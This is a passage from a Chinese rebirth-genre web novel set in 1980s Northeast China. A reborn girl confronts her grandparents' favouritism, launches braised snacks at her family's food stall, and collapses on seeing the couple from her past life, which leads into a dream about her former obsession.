说着,她又把目光自然而然地投向旁边的郑艳红,“婶,我奶不总是说我叔和金宝大哥在厂子里干得好,领导重视吗?我看要不这样,咱就让我叔和金宝哥在他们单位里给我爸妈先找个轻巧不累又能挣钱的临时工干干,你说咋样?” 咋样?当然不咋样! 郑艳红听见这话,好悬没从椅子上跳起来! 心话你自己都说现在工作不好找,我们上哪给你找去啊!人家认我是哪根葱、哪头蒜啊! 再说还得轻巧、不累,能挣钱,她咋不知道这世上还有这么好的活呢! 郑艳红赶忙轻轻拽了苏老太一把,满脸堆笑道:“哎呀,大侄女说笑了,你叔和你哥哪有这本事……那啥,爸、妈,其实现在也不像从前了,那收音机不整天播那个‘开放’‘开放’啥的吗!要我说摆个小摊子也挺好的,好歹也是条出路不是!” 刚才苏丽珍那番话明里暗里地讽刺苏家老两口不关心儿子,站着说话不嫌腰疼,可她说这话时偏偏一副言笑晏晏的样子,让人有火也发不出来。 苏老头这回就闷头抽烟不吱声了,只有苏老太还是有些不高兴,兀自小声嘟囔:“那也不能不顾着点体面啊……” 苏丽珍心里冷笑,人都要饿死了不管不问,还惦记着那点体面! 她面上不显,反而借着苏老太的话故意对李翠英说道:“妈,其实我挺理解我奶的,既然她老人家不想咱摆摊,那咱就不摆了吧!没收入就没收入,大不了我不上学了,再把咱现在的房子退了,反正咱就三口人,先随便找间不花钱的屋子对付着,最好能顺道养点鸡啊、猪啊的,也是个来钱道儿!”说完,便状似无意地抬头开始打量起这间屋子来。 一见苏丽珍这架势,郑艳红整个人都不好了! 啥不花钱的房子,还要养鸡、养猪,这不明摆着就是想搬到这边来住吗! 打从大伯哥没了工作那天起,她就总是担心这事,就怕大伯哥一家过不下去搬回来,到时候天天吃家里的、用家里的!现在看,她还想简单了,大伯哥一家不但想白吃白住,还打上他们家鸡和猪的主意了! 天妈爷啊,这不是拿水泵抽她的血吗? 不行,她说死了也不能答应! 郑艳红当即“嗷”地一嗓子喊出了声:“不行!” 苏丽珍笑了笑,故意慢条斯理地问了句:“婶,啥不行啊?” 见屋里的人都看向自己,郑艳红才反应过来自己刚刚表现的太明显,赶忙收敛了几分,解释道:“珍珍啊,婶的意思是这不管干啥事那得有始有终不是?你们既然都已经开始摆摊了,也别轻易就撂下啊,怪可惜的!” 接着又一脸不认同地猛劝起苏老太:“妈,你看看你说的,啥体面不体面的!那摆摊子不是也得一样干活吗?所以咱都一样,都是劳动人民!而且我听人家说过,这干个体挣得多!我大嫂手艺那么好,这摆个小吃摊准错不了……你们看,我哥、我嫂子这次来给你们带了这么多好东西,那肯定就是挣着钱了!” 不料苏丽珍却一脸认真道:“婶,你这话就不对了,不管有钱没钱,我们都会尽可能多给我爷我奶买些好东西来!因为我爸说了,他是我爷奶的亲儿子,只要他活着一天,就会尽一天的孝!所以只要我们来,就算是没钱,我们借钱也得置办好这些东西!” 她说这些并不是故意起高调,完全是前世里苏卫华确实是这样做的! 那时他们家条件不好,可她爸妈但凡过来就必定尽可能给她爷奶买好东西。 就为这个,她不知道跟两个人生过多少回气! 现在想想她爸那会儿两头受气,肯定不好受。 也许是苏丽珍说话时的语气太过严肃,一时间,屋里的人居然都下意识觉得他们今天带来的这些好东西全是借钱买来的,不禁有些五味杂陈。 苏老太也有点挂不住脸了,忍不住小声辩解:“其实我也没别的意思,我那也是为了华子你们好啊……” 郑艳红作为老苏家唯二的儿媳妇之一,也不免有些讪讪地道:“看这孩子说的,也太邪乎了……” “行了!”半天没吭声的苏老头突然一嗓子打断了郑艳红的话,“老二家的,你今天话咋那么多!” 说完,又皱眉瞪了眼苏老太,“还有你,也少说两句!” 把两人各训了一句,老爷子二话不说就背着手往门口走去,只是一条腿快要迈出门坎时,他又闷闷地丢下了一句:“老大家的,回头你把你们带来的东西都拿回去吧,我们这儿啥也不缺。” 苏老头出去后,苏老太才有些不服气地嘟囔道:“还说我,好像刚开始他就没反对似的!好人都是他来当,回回让我做坏人!” 然而这次没人接她的话茬,连之前一直笑呵呵接话的苏丽珍也不再开口。 郑艳红是想说不知道说啥,苏卫华一直沉默,李翠英则是担心地看着他。 倒是苏丽娜这个堂姐,全程看着苏丽珍的目光若有所思。 苏丽珍也不在意,她这个堂姐是一家子里最精的,你越是表现的精明厉害有成算,她反而越高看你一眼。 不过她也没想过要让对方高看自己,这一世她已经不再那么偏执,两人就这么平平淡淡,当个寻常亲戚处着就挺好。 屋子里又一次陷入沉默,苏老太的抱怨因为没人应声,不禁有些尴尬。 这时,一直没说话的苏卫华忽然从椅子上起身,淡淡地说道:“时间也不早了,我们就先回去了。” 任凭苏老太和郑艳红如何挽留,苏卫华还是态度坚决地要走。 临出门的时候,郑艳红一脸肉疼地把他们带去的那些东西又给送了出来,虽然舍不得,可她也不敢得罪公公,只好眼巴巴地望着苏丽珍一家三口。 这些东西,苏卫华自然是不会再拿回去的,不光是他,连苏丽珍都从没想过。 郑艳红看他们是真心不想要,立马眉开眼笑起来,还难得热情地把他们送出门老远。 路上,她一直拉着李翠英的手拐弯抹角地打听他们是不是真的有搬回来的打算,结果李翠英还没说话,旁边的苏丽珍就开口了:“婶,那是自然的,要是哪天我们在外面实在是太困难了,那肯定得来投奔我爷和我叔啊!怎么说,咱们都是老苏家人,我们不指望你们,还能指望谁?你说是吧,婶?” 郑艳红吓得落荒而逃,看那样子正经得发愁一阵子。 等人走后,李翠英不由嗔怪道:“你这孩子,明知道她那性子,还逗她干啥!” 苏丽珍笑道:“让她多发点愁,回去也好替咱们给我爷我奶好好做做‘思想工作’。” 李翠英看了眼推着自行车、走在前面的苏卫华,小声说道:“珍珍,其实刚才你不该跟你爷你奶那么说话,他们毕竟是你的长辈。” 苏丽珍却正色道:“那妈,我问你,假如咱们家我还有个姐姐、或者是妹妹,你们对我们姐妹也会像我爷奶对我爸和我叔那样吗?” 李翠英当即摇头,“那当然不能,你们都是妈身上掉下来的肉,妈肯定一样疼!” 想了想,又补了一句:“你爸也不会!” 苏丽珍点头:“这就对了,我也相信如果我真的还有姐妹的话,你们一定会对我们一视同仁!其实这就很说明问题了,你们觉得对所有孩子都应该尽量公平公正,恰恰就说明你们也认为我爷我奶这样其实是不对的!既然不对,我们自然就应该让他们明白!” 李翠英叹气:“珍珍,清官还难断家务事呢,干啥非要较这个真!” 苏丽珍看了眼前边明显放轻了脚步、侧耳偷听她们娘儿俩说话的苏卫华,一脸正色道:“妈,这个真有时候咱该较、就得较!我不是图我爷奶那点东西,我就是想替我爸要一份公平,要一份同样身为苏家的儿子、也一直对他们尽心尽孝,却从没得到过的公平!” 这回李翠英不说话了。 良久,她才拍了拍苏丽珍的手,轻声说道:“t好闺女,你爸虽然有一对偏心的父母,却有一个这世上最懂事、最贴心的闺女,他和我都是有福的!” 苏丽珍不由将额头靠在她的肩膀上蹭了蹭,格外认真道:“妈,你放心,我一定会让你和我爸成为这世上最幸福的人!” 以我余生所有的代价。 她在心里默默补了这一句,看着前方父亲好像陡然变得轻快起来的脚步,唇角也忍不住扬起一丝微笑。 从爷奶家回来后,尽管有苏丽珍母女俩的悉心陪伴,苏卫华还是不可避免地低落了两天。 不过也许那天苏丽珍的话他也确实有听进去,因为娘儿俩都发现,他比从前更加细心体贴! 本来多少有点大男子主义的人,现在见天抢着刷碗、擦地做家务不说,还每天晚上坚持给李翠英打洗脚水。 李翠英私下还跟苏丽珍开玩笑,说是当初刚结婚那会儿也没得过这样的优待,这人岁数大了,反而开窍了。 父母的感情好,苏丽珍自然高兴,不过随着开学日期的临近,她也更加忙碌起来。 学习是一方面; 另一方面,随着八月接近尾声,东北的天气基本已经转凉了,早晚出门甚至要加外套。 虽说眼下他们的凉皮没怎么受影响,但是基本也是每天中午最热的时候卖得最好,这种情况她估计等到了九月份会更加明显。 本来她预计凉皮能卖到九月底、十月初,也是基于没什么特殊天气状况的打算。 可毕竟东北天气普遍冷得早,她记忆里有一年,凤城就是从进入九月伊始就一直秋雨连绵,基本上是每下一场秋雨,气温就下降一些!如果赶上这样的情况,那想保持现在每天二百多碗的销量就不太容易了。 关于这个问题,苏丽珍在当初劝苏卫华夫妻俩卖凉皮的时候就已经分析过,所以夫妻俩也早有心理准备,见她苦恼还反过来劝她,说是等天气冷了,就重新卖包子,虽然累点,但是挣得也不少! 可苏丽珍并不满意!九月开始她就要上学了,以两人的脾气肯定不能让她多插手家里这些活计,而做包子和面、擀皮、剁馅、包馅,这一套下来实在不轻松! 所以,她还是想找一种像凉皮一样,相对轻省、又具有一定竞争力的小吃。 尤其是这两天客运站门口又新来了一份卖包子、糖三角的小摊后,她的这种想法就更强烈了。 直到这天清早,张表舅照例给他们送货时,她一眼看见车上那筐东西时,顿时脑中灵光一闪! 这不正是她想找的好东西吗?—— 作者有话说:晚安~ 第32章 那是一大筐花生和毛豆! 因为张表舅现在不光给苏丽珍一家送货,还要捎带着帮丁大勇家收苞米,所以每回来东西都不少。 赶巧他最近产常去家附近一个挺大的回民村收面粉和苞米,跟那边村里的干部处得不错,人家听说他送货难,就趁着眼下不是农忙的时候把大队的马车借给了他。 有了马车,张表舅能装的东西多了不少,前天刚给他们送来一袋子新下来的大土豆,今天又带了这满满一大筐的花生、毛豆! 张表舅一边把马车上的面粉、鸡蛋和蔬菜往下搬,一边乐呵呵道:“那筐里的花生是俺昨天下午拔的,毛豆是今早上刚摘的,都是俺家园子新下来的!这些东西随便放点盐煮一煮就好吃着呢,正好给你们尝尝鲜!” 苏卫华夫妻自然不能白要,苏卫华连忙道:“老张大哥,花生毛豆我们收着,但是咱说好,这回我们是一定要给钱的,可不能再像上次那筐土豆似的,总白占你便宜!” 张表舅一下就急眼了:“大兄弟,你们咋跟俺这么外道呢!以前光靠俺自己一回带不了多少东西也就算了,现在正赶上有这马车,俺一点都不费事!再说这都是自家园子产的,根本就不花钱,你们要是还提钱,那不磕碜俺吗!” 这两个月跟着苏家,他属实是没少挣!虽然每天收货、送货不轻松,可庄稼人有的是力气,要是每天光靠出一把子力气就能挣这么多钱,大伙儿都得乐死,所以他是打心眼里感激苏家人。 张表舅一片实心实意,苏卫华两口子也不好再拒绝了!不过为了表达谢意,李翠英还是拿出一早准备好的几张布票和胶鞋票送给了对方。 这阵子张表舅几乎回回都给他们带一些乡下的特产,虽然没啥贵重的东西,可难得的是这份心意,再说积少成多,夫妻俩也想送些回礼感谢对方。 还是苏丽珍提议,对于生活在乡下的人来说,没什么比送一些他们日常接触不到的票据更合适的了,尤其张表舅家里现在条件好了,不一定差钱,但一定差票。 正好苏家人平时摆摊也会顺道跟客人换点票据,正好能匀给张表舅家里一些,也算是一份心意。 张表舅一开始还不好意思收,后来架不住一家三口的热情,最后还是乐乐呵呵收下了。 苏丽珍看他一直用手摩挲着那两张胶鞋票,就知道对方应该是十分喜欢这些票据的。 待把今天的这批货物结算清楚后,苏丽珍又拉着张表舅打听起他们大队花生和毛豆的种植情况,详细问好了价钱,临了便嘱咐张表舅下次直接帮她收购一批送来。 苏卫华夫妻俩从闺女问起这些花生毛豆开始,就知道她怕是又有了什么新主意,毕竟这孩子这几天一直都在琢磨给小吃摊添点啥新种类。 闺女这些日子的本事,他们俩心里也有数,所以两口子谁也没拦着。 只是等张表舅一走,他们也耐不住赶紧追问苏丽珍的主意。 苏丽珍便一指筐子里那些带着泥土、沾着露珠的花生和毛豆,笑着对两人说道:“爸、妈,我想把它们做成卤味试试!” 一听说“卤味”,李翠英一下就想起之前闺女给她的那一本手抄的《料经》方子,里面各式各样的卤味方子起码有十来个! 她眼睛登时一亮,直说闺女这主意不错,花生和毛豆别看不是肉,可做好了,那味道比肉也不差多少! 而且这玩意儿既能当下酒的小菜,也能当磨牙的小零嘴,好吃又解馋,说不定能好卖! 经过家里先后做出的包子、凉皮和丁大勇家烤苞米用的辣酱这些,苏卫华如今也对闺女抄录的那本《料经》十分信服,见媳妇和闺女都说好,自然也举双手赞成。 做卤味其实不算难,最关键的还是卤汤的熬制,好在他们今天只是简单的先卤些花生、毛豆,也不怕试错。 自打李翠英开始钻研《料经》,家里的香料基本配置齐了,市场买不到,苏丽珍就去中药店里配,一个个都用黄纸包着,再装进李翠英特意缝好的小布袋子里,拉拉杂杂竟然装了一大笸箩! 平时不觉得,现在一说熬卤汤,这些香料就全派上用场了! 娘儿俩在一块仔细琢磨了一阵,选出了一个合适的方子,配好香料,李翠英就着蒸完凉皮的锅灶很快就熬出了一锅卤汤! 开锅的时候,那股子不输肉香的浓郁香味把左邻右舍都给招来了,路过的好几拨儿人都忍不住站在大门口往他们院里瞅! 只是苏家搬过来没几个月,苏卫华夫妻俩又都不是爱串门唠嗑的人,邻居们对他们家不熟悉,所以一个个只是远远地看着,并不好意思进来搭话。 苏丽珍把这情况看了个分明,不由暗怪自己大意! 要说邻里关系还是得注意,以后他们家摆摊的摆摊,上学的上学,家里整天没人,跟左邻右舍打好关系绝对有必要。不说让人家如何照应,就是出来进去能顺道帮忙看顾几分便好。 苏丽珍心里惦记着这些,手上的活也没耽搁,很快就另支起一口锅,把洗好的花生毛豆放进去,倒入熬好的卤汁,又添了点盐,这样煮了二十分钟后,锅里溢出的香味更加馋人了! 其实这会儿的花生、毛豆已经可以吃了!苏丽珍没忍住,直接捞出几颗跟苏卫华和李翠英挨个品尝了一下,一口下去,果然是滋味浓郁,满口鲜香,一点都不输肉味。 尤其李翠英这次熬好的卤汤是带了点麻辣口味的,那微微的辣意在舌尖上跳跃,同时也刺激了口腔分泌更多的口水,叫人下意识吃完一个就想赶t紧拿第二个! 而这还是刚煮熟的,如果在卤汁里继续浸泡两三个小时,味道还会更好! 煮好的花生毛豆放在卤汁里浸泡,看着熬卤汁的汤锅里还剩下的料包和不少卤汁,苏丽珍觉得不能浪费,见今天张表舅送来的鸡蛋不少,她就建议干脆再做一锅卤蛋! 苏卫华夫妻俩看了看时间,现在还不到早上七点,他们出摊怎么也得十点多,卤点鸡蛋试试也成! 夫妻俩另起锅先把鸡蛋煮个八分熟,捞出后又过冷水挨个敲碎蛋壳,最后再放进卤汤锅里继续焖煮十分钟。等灶底的火熄了,锅里的卤汁和鸡蛋放凉,整个过程一直不掀锅盖,让鸡蛋在卤水里充分浸泡,以便入味。 等上午十点多,一家人准备出门了。这时,已经完全卤好的花生和毛豆连外皮都香得不行,苏卫华直说,就着这点花生、毛豆皮子,他都能香得造一个大馒头,把娘儿俩逗笑了。 至于卤蛋,因为带皮的缘故,多少工夫有点短,不过味道也已经很好了,一家人都觉得自家卤蛋这个滋味比国营饭店里的茶叶蛋还要好吃! 临出门前,苏丽珍把卤好的花生、毛豆,加上一些张表舅给的新鲜蔬菜一起给左右邻居家都送了些。 至于卤蛋,因为鸡蛋现在还是精贵东西,拿出去太打眼,自然就没送。 其实他们这片是地道的老房子,基本都是独门独户,家家有个七、八平大的小菜园子,平时也就种点小葱、辣椒,吃菜基本还是靠买,所以送些蔬菜倒是更实惠。 邻居们收到了苏家的东西果然十分高兴,他们知道苏家人近来一直在摆摊卖小吃,一家人天天早上在院子里忙活,之前他们还没在意,只是今天也不知道这一家做了啥好东西,那味道闻着实在太香了! 大伙儿没忍住就溜达着过来想看看热闹,只可惜平时都不算熟悉,现在自然不好贸然过去搭话。 没想到苏家人这么讲究,还主动给他们送东西!再尝一尝人家做的这个卤花生、卤毛豆,哎妈呦,真是老香老香了,怪不得人家能摆摊呢! 一时间,邻居们都对苏家的手艺交口称赞,关系似乎也拉近了不少—— 上午十一点 珍珍小吃家的老主顾们很快就发现,今天珍珍家那辆漂亮的三轮车上又多了三个大号搪瓷盆,原本还有点富余的小车一下塞得满满登登。 三个盆上都有盖帘子挡着防止落灰,他们也看不着,正想问一嘴呢,就听老板家那个精明能干的小闺女先一脸歉意地跟大伙儿宣布,说是今后摊子不再赠送绿豆汤给大家了。 对此大伙儿也表示理解,毕竟现在天凉了,这绿豆汤也该过季了。听说现在天天都剩下不少,人家摊主见天又是绿豆、又是白糖的,这不是白瞎好玩意儿嘛! 而且说句实在的,其实这凉皮现在当饭吃也不合适了,可没办法,谁叫他们现在就好这一口呢?先吃一段日子,等以后天再冷点再说吧! 不过老主顾们没时间思考太多,很快他们就被珍珍小吃车上那三个大盆里的东西引走了全部注意力。 因为这三盆东西实在太香了! 摊主小姑娘才把盖帘子揭开一道缝,一股炖肉的香味就扑面而来,勾得大伙儿差点没流口水! 众人不由心寻思,哎呦,咋这么香!难不成今天还有炖肉卖? 这珍珍小吃家的手艺就是好,这炖肉光是闻味儿就这么香了,真要吃到嘴里那不得老好吃了? 大伙儿心里有些期待,不由个个抻长了脖子往人家小车围帘里瞅。 第33章 可等亲眼见到摊主小姑娘把围帘拉起、盖帘子揭开后,这帮人一看清盆里的东西就都傻眼了! 不是,这怎么都是花生、毛豆啊?哦,那还有一盆像茶叶蛋一样煮成了酱色的鸡蛋……不对啊,怎么只有这些,他们闻着贼香贼香的炖肉哪儿去了? 孙志刚也是珍珍小吃的老主顾之一,打从上个月出差回来无意间吃了一回他家的凉皮,至此就彻底被那酸辣咸香的凉皮俘虏了,两天不吃就想的慌! 而珍珍家不光凉皮,包子也和其他人家的不一样,就是素馅的都特别香! 珍珍小吃家卖的东西都好吃,为了能经常过来买吃的,他已经把所有需要往下面县市跑腿的差事都给揽过来了,过了嘴瘾不说,上周还得到了大领导夸奖呢! 反正他现在是珍珍小吃的忠实爱好者,坚信他们家做的东西一定个顶个的好吃!这不,这炖肉他只是光闻闻味儿,就要把肚子里的馋虫勾出来了,他今天说啥也得买点尝尝! 所以他赶忙开口追问道:“珍珍小姑娘,你们家那炖肉呢?准备卖吗?能不能卖我点!” 上次那母子三人来闹事时,孙志刚也在场,所以他知道这家小吃摊的名字就是取自摊主家这个小闺女,不光他,很多人隔三差五来光顾,自然也都熟稔了。 相较于孙志刚的急切,人珍珍小姑娘听完却是一脸的诧异,“炖肉?孙叔叔,我们家没有炖肉卖啊!” 接着,小姑娘的爸爸也上前解释:“是啊,孙同志,我们家没有炖肉卖……最近肉不好买,我们家的包子还都是鸡蛋馅的呢!” 不光孙志刚,在场所有人听完都是一愣。 怎么会没有呢?他们明明都闻到这股肉香味了,说实在的,比国营饭店炖得红烧肉还香呢! 苏丽珍看着大伙儿一脸不相信地往她家的三轮车里四处瞄,心里直发笑,她指了指面前的三个盆子笑着解释道:“各位,我们家真的没有炖肉,你们闻到的肉香味其实是我家今天推出的新品卤味:卤花生、卤毛豆,还有卤蛋!” 众人不信邪地凑到那三个大盆前,结果刚一靠近,那股熟悉的肉香味就争先恐后往他们鼻子里钻! 破案了,这股香味还真是这些卤味散发出来的! 大伙儿不由心下感叹,这珍珍小吃家的手艺是真厉害,平平无奇的花生毛豆居然也给弄出了肉味,这他们可得好好尝尝! 众人赶忙七嘴八舌打听起来:“珍珍小姑娘,这些卤味都怎么卖啊!” 苏丽珍:“卤花生三毛二一斤,卤毛豆二毛四一斤,卤蛋一毛钱一个。不过为了感谢大伙儿这些日子对我们珍珍小吃的支持,今天所有的老顾客,我们都免费赠送半斤花生拼毛豆,送完为止!” 大伙儿一听还有免费赠送,自然高兴得很,纷纷夸苏丽珍一家大方实在。 等卤味到手,孙志刚没像往常那样急着吃凉皮,而是拿起一颗卤花生准备剥开尝尝,没想到他拇指和手指才稍微用了点力,花生壳就被他捏开了一道口子,接着一股酱色的汁水就猛然喷出来,溅了他一手指。 孙志刚下意识用嘴巴嘬了一口,当舌尖尝到那股鲜香微辣的卤汁时,他瞬间眼睛一亮,赶忙把已经被卤汁浸泡得嫩生生的花生仁剥出来迅速丢进嘴里! 这一嚼更是不得了!我的天,原来花生真的可以做出肉味,不,甚至比肉还香! 再尝尝毛豆……哎呦,毛豆也一点没输! 这到底是怎么做的!为啥不管是花生还是毛豆,都能在保有自身口味的基础上涌现出比肉更好吃的味道呢? 这个问题不光是孙志刚,就是其他免费品尝的老顾客们都有些想不明白! 看来还是高手在民间啊! 这手艺可不是啥人都有的! 他们一边心里感叹,一边控制不住自己的手一颗接一颗地吃起来,等反应过来时,饭盒/瓷碗里早已空空如也!现在别说心里的疑惑丝毫没有解决,就是嘴巴和肚子也开始跟着抗议,要求再来许多许多之前品尝到的美味! 于是,不少人果断地回头又掏钱买了一份,有要半斤的,还有一斤、两斤的……反正等孙志刚回过神也急吼吼要再买的时候,之前那满满的两大盆花生、毛豆已经全部见底了! 孙志刚:“……” 苏丽珍看着眼前这人一脸恍若雷击的表情,心里觉得好笑,安慰对方道:“孙叔叔,卤花生和毛豆明天还会有的,您要是吃得来这个口味的话,要不您再尝尝我家的卤蛋?” 孙志刚眼睛又是一亮! 卤蛋,都是“卤字辈”的,肯定味道也差不了! 于是他忙不迭地点头道:“那给我来两个尝尝!” 苏丽珍手脚利索地给他捞了两个卤蛋,这人一接过去就动作迅速地剥掉鸡蛋皮,然后迫不及待地t咬了一大口! 看他吃得这么急,苏丽珍都担心他噎着,正想提醒一句,没想到怕啥来啥,这人明明先头那一大口还没咽下去呢,就急着吃第二口,可不噎个正着! 幸亏旁边苏卫华眼疾手快把自家带的水倒了一碗递过去,一阵兵荒马乱,总算帮他把这口气顺过来了! 苏丽珍看他脸都憋红了,不免有些担心,“孙叔叔,您没事吧?” 谁知孙志刚攥紧拳头“咣咣”凿了自己胸膛几下,喘着大气,好半天才憋出一句话:“再、再给我来五个卤蛋!” 摊子周围一帮被他这动静招过去的人听完,“噗嗤”一声都笑了—— 珍珍小吃家的卤味又火了! 不管是可以媲美肉味的卤花生、毛豆,还是别具特色、比茶叶蛋还香了几分的卤蛋,反正客运站附近走过路过的,被家人朋友推荐慕名而来的,好多人一口就被这些美味征服了! 有之前在苏丽珍这里留过信息的老主顾,更是常常一个人来,却要帮同事、朋友一口气带个十几份!特别是卤蛋,这些人每次一打包总是二十个、三十个的拿。 苏丽珍为了回馈这部分老客人,每次对方购买数量超过一定数额,她都会主动赠送一些非卖的小吃。 有时候是卤好的面筋、豆干,有时候是用自家秘制辣酱腌制的小菜,因为味道好、加上外面买不到,效果出奇的好! 现在好多厂子里的人都说,帮大伙儿打包的差事都快被他们抢破头了! 总之,随着珍珍小吃的生意越来越火爆,如今也算是小有名气了。 生意好,自然收益更高,尤其花生、毛豆的利润更是十分可观。 毛豆的收购价是每斤八分钱; 花生稍微麻烦一点,新鲜的因为水分高,所以每斤一毛四分钱。晾晒好的每斤两毛一、二左右,不过等十月过后,这个价格还会上涨一些。 他们家做的是卤花生,不管是新鲜花生还是晾晒好的都能直接用,目前来说,这个成本的利润已经很高了,一点也不比凉皮低。 看着自家存折上蹭蹭上涨的数字,一家人心里高兴得不行,现在几乎每天睡觉做梦都是笑着的!—— 一晃儿还有两天开学了,这几天秋雨连绵,难得今天出了太阳,李翠英就一门心思想拽着女儿去百货商店买几件新衣裳! 苏丽珍实在拗不过,虽然她觉得穿校服就成,可苏卫华夫妻俩可不这么想。 尤其是李翠英,觉得闺女咋说也是十六岁的大姑娘了,之前条件不允许也就罢了,现在他们家不差钱了,说啥也得给她家的宝贝闺女买身新衣服、新鞋子,然后高高兴兴、精精神神去上学! 这天下午,娘儿俩收完摊就直接去了第一百货商店,那边离家更近一点。 眼下虽然才八月底,但是在东北已经很有几分秋高气爽的感觉,天气不冷不热刚刚好,娘儿俩也没坐车,就溜达着往那边走。 眼瞅着再过一条马路,对面就是第一百货时,娘儿俩正好碰见一份背着筐子卖榛子的! 苏丽珍非常喜欢这种家乡特产的小粒榛子,虽然个头小,但是味道更香。 李翠英一看闺女喜欢,二话不说就掏钱称了二斤。 苏丽珍在旁边看着,这榛子还没吃到嘴,就觉得心里分外香甜! 李翠英专心挑坏子儿,苏丽珍站起身活动了下脖子,可当她的目光无意中扫到对面百货商店门口的两道身影时,整个人倏地僵住了! 为什么那两个人会在这里? 明明上辈子他们是在她开学后半个月才忽然空降过来的! 为什么他们会突然提早出现,让她这样毫无防备! 苏丽珍两只眼睛死死地盯着那两个人,那是一对年轻的男孩女孩。明明这两人男孩子高大英俊、女孩子娟秀美丽,他们俩站在一起就像一道优美的风景! 可这道风景在她眼里却是最不愿提及的过去,能够瞬间摧毁她重生以来好不容易积攒的所有勇气! 此刻的她大脑一片空白,哪怕在心里拼命嘶吼着一切已经过去了,不要再去看、去想那两个人,可她还是像被恶鬼拘走了魂,只剩下一副无脑的躯壳被动、僵硬地杵在这里! 她甚至觉得无法呼吸,只能竭尽全力伸手去抠自己的喉咙,但是她的手已经僵硬得完全使不上力气! 在极度的窒息、恐惧和内心深处叫嚣的不甘中,最后,她整个人脱力一般慢慢朝后仰去。 在眼眸合上的瞬间,她看到妈妈李翠英惊慌失措的脸! 这一刹那,她的心里再次涌起对自己深深的憎恶! 苏丽珍,你为什么这么没用! 第34章 一辆军用吉普车顶着一路热切、好奇地目光,稳稳停在了第一百货门口。 副驾驶的车窗摇下,露出一张清俊儒雅的脸,“小哲、秀婷。” 大门口等候的一对少男、少女登时眼前一亮,赶忙开口叫人:“小叔!”“瑞小叔!” 两人话音刚落,坐在驾驶位的周明义也跟着凑过来探出脑袋,热情招呼道:“你们两个小家伙等着急了吧,赶快上车!” 沈哲也热络道:“义小叔,我们没着急!我们俩都是按照小叔说的,先买点路上吃用的东西,这才从百货商店出来。” 周明义一边把车调头、一边道:“下午三点的火车,明早八点多才能到京市,咱们出来的急,是得多准备点东西。” 这时沈瑞也开口说道:“二哥有任务,二嫂下个月临盆,没法出来。所以我帮你们请了两周的假期,以你们俩的成绩,应该也耽误不了多少。” 说着,他又侧过脸对着后头座位上的女孩歉意道:“就是秀婷,要辛苦你跟我们折腾这一趟了。” 齐秀婷闻言连忙道:“没关系的,瑞小叔!沈太爷爷对我那么好,他老人家要动手术这么大的事,我知道了肯定是要跟着一起回去看看的!” 沈哲不无担忧道:“不知道太爷爷现在怎么样了……明明之前他还说什么都不同意动这个心脏手术,怎么咱们前脚才出来,他就马上又答应了呢……难道说是他老人家心里没底,也怕咱们担心吗?” 旁边齐秀婷见状,不由轻轻握住了他的手。 沈瑞坐在前头却忍不住轻揉眉心,想起他妈之前给他打电话,说是老爷子之所以急需做这个手术,是因为他趁着家里人都不在,没人看着,自己偷偷溜出去喝酒吃辣,导致胃痉挛,结果剧烈的胃疼又引发了心脏病,这才不得不尽快做手术。 这话他没法当着两个孩子的面说,只得宽慰道:“别多想,手术的成功率很高。而且医生也早就说过了,这个手术其实越早做,对你太爷爷越好。现在难得他松口,这么看,也不全是坏事。” 也算是祸福相依吧! 沈哲和齐秀廷听了这话,心中的忧虑才稍缓了些。 这时,沈瑞看见身旁的周明义一直扭头往车窗外看,不由出声提醒:“明义,专心开车。” 周明义赶忙坐正身子,“不是,瑞哥,刚才对面不知道出了啥事,我看那儿围了不少人!” 沈哲和齐秀婷到底年纪小,一听周明义这么说,也跟着转头往回看。 沈瑞好看的眉头微微蹙起,低头看了下手表,有些无奈道:“不管出了什么事都跟咱们没有关系,你好好开车,现在已经两点半了,咱们的时间不算充裕。” 周明义一向最听他的话,闻言忙收起好奇心,老老实实开车。 连后头的沈哲和齐秀婷也乖乖坐好。 车子在一片安静中再次快速向前驶去—— 苏丽珍做了一个梦。 梦里,她看到了自己前世第一次遇见沈哲的画面。 彼时,她因为虚荣心作祟,明明家境堪忧,在学校里却偏偏吃、穿、用方方面面都要捡好的,结果被班上两个不学好的男生勾结校外的混子,趁着放学时把她堵在小胡同里劫钱。 当时的她害怕极了,沈哲就是在那个时候从天而降,帮她赶跑了这群惹事的小混混。 那时的他穿着雪白的衬衫和时髦的回力鞋,一举一动都那么帅气、迷人,而小心询问她有没有吓到的样子更是温柔细致,所以仅仅一个照面,就让她深深沦陷了。 从此以后,她一厢情愿地开启了长达十年的暗恋。 梦里的画面开始连续跳转,如同放电影一样展示了她那疯狂又荒诞的十年人生。 这一路,从她和他念同一所高中开始,当初她为了能跟他考同一所大t学,复读了两年,即便最终只是读了一所普普通通的中专,她也一定要挑在离他学校最近的地方。 再后来,他结婚、出国,她仍然不死心地跟着一起去了米国,甚至为此不惜伤害和抛弃自己的血肉至亲。 初到米国,因为没钱没人,加上语言不通,她吃尽了苦头,一度沦为乞丐,好几次差点被人侮辱。 那些承载着痛苦记忆的画面一帧帧在她眼前回放,即便是无知无觉的梦里,她依然能感受到刻骨的伤心和绝望。 最终,画面定格。 黄昏时分,一条幽静小路边,蓬头垢面的她呆呆坐在一条长椅上,脚边堆放着一个装着碗筷、被褥和几件破衣服的塑胶袋子。 突然,一双银白色镶嵌着精美水钻的高跟鞋出现在她面前。 “苏丽珍?” 她听到那双鞋子的主人这样叫她,熟悉的母语让她第一时间抬起头,结果原本的面无表情却在认出对方的瞬间变得怨愤异常。 “齐秀婷!” “我是齐秀婷,算起来,这是咱们俩个第一次正式见面吧!” 她听到那个妆容精致、衣衫华丽的女人这样说道。 “苏丽珍,其实我很早就知道你。很多人告诉我你是个变态的跟踪狂,道德败坏、妄图插足别人婚姻的第三者!不过说句实话,其实我并不讨厌你。” 那个女人不顾她怨恨的眼神,径自走到她之前坐着的长椅边,理了下裙摆,顺势坐下,姿态轻盈美丽。 “不过,作为觊觎我丈夫十年的情敌,我对你也喜欢不起来。很多时候,我只是觉得你可怜又可笑。你苦苦追了阿哲十年,甚至恨不得跟全天下标榜你的这份深情不悔,可你真的了解阿哲吗?据我所知,在这长达十年的时间里,你们一起说话的次数甚至没超过一只手吧!” 女人的声音同她的姿容一样动人,可她说出的话语却像最锋利的刀子,刹那间就刺破了她这些年自我安慰一般苦心编织的假象。 她瞬间恼羞成怒,“你懂什么!我要是有像你一样的家庭,还有和他一起长大的条件,那今天和他在一起的人一定是我!” 女人对她咬牙切齿的样子并没有在意,反而目光复杂地看着她:“我自然不懂,但是我懂我的阿哲,也懂我自己!但是苏丽珍,你懂你自己吗?扪心自问,你真的喜欢阿哲吗?还是说……其实你只是把他当成了你心中幻想的那个人?” 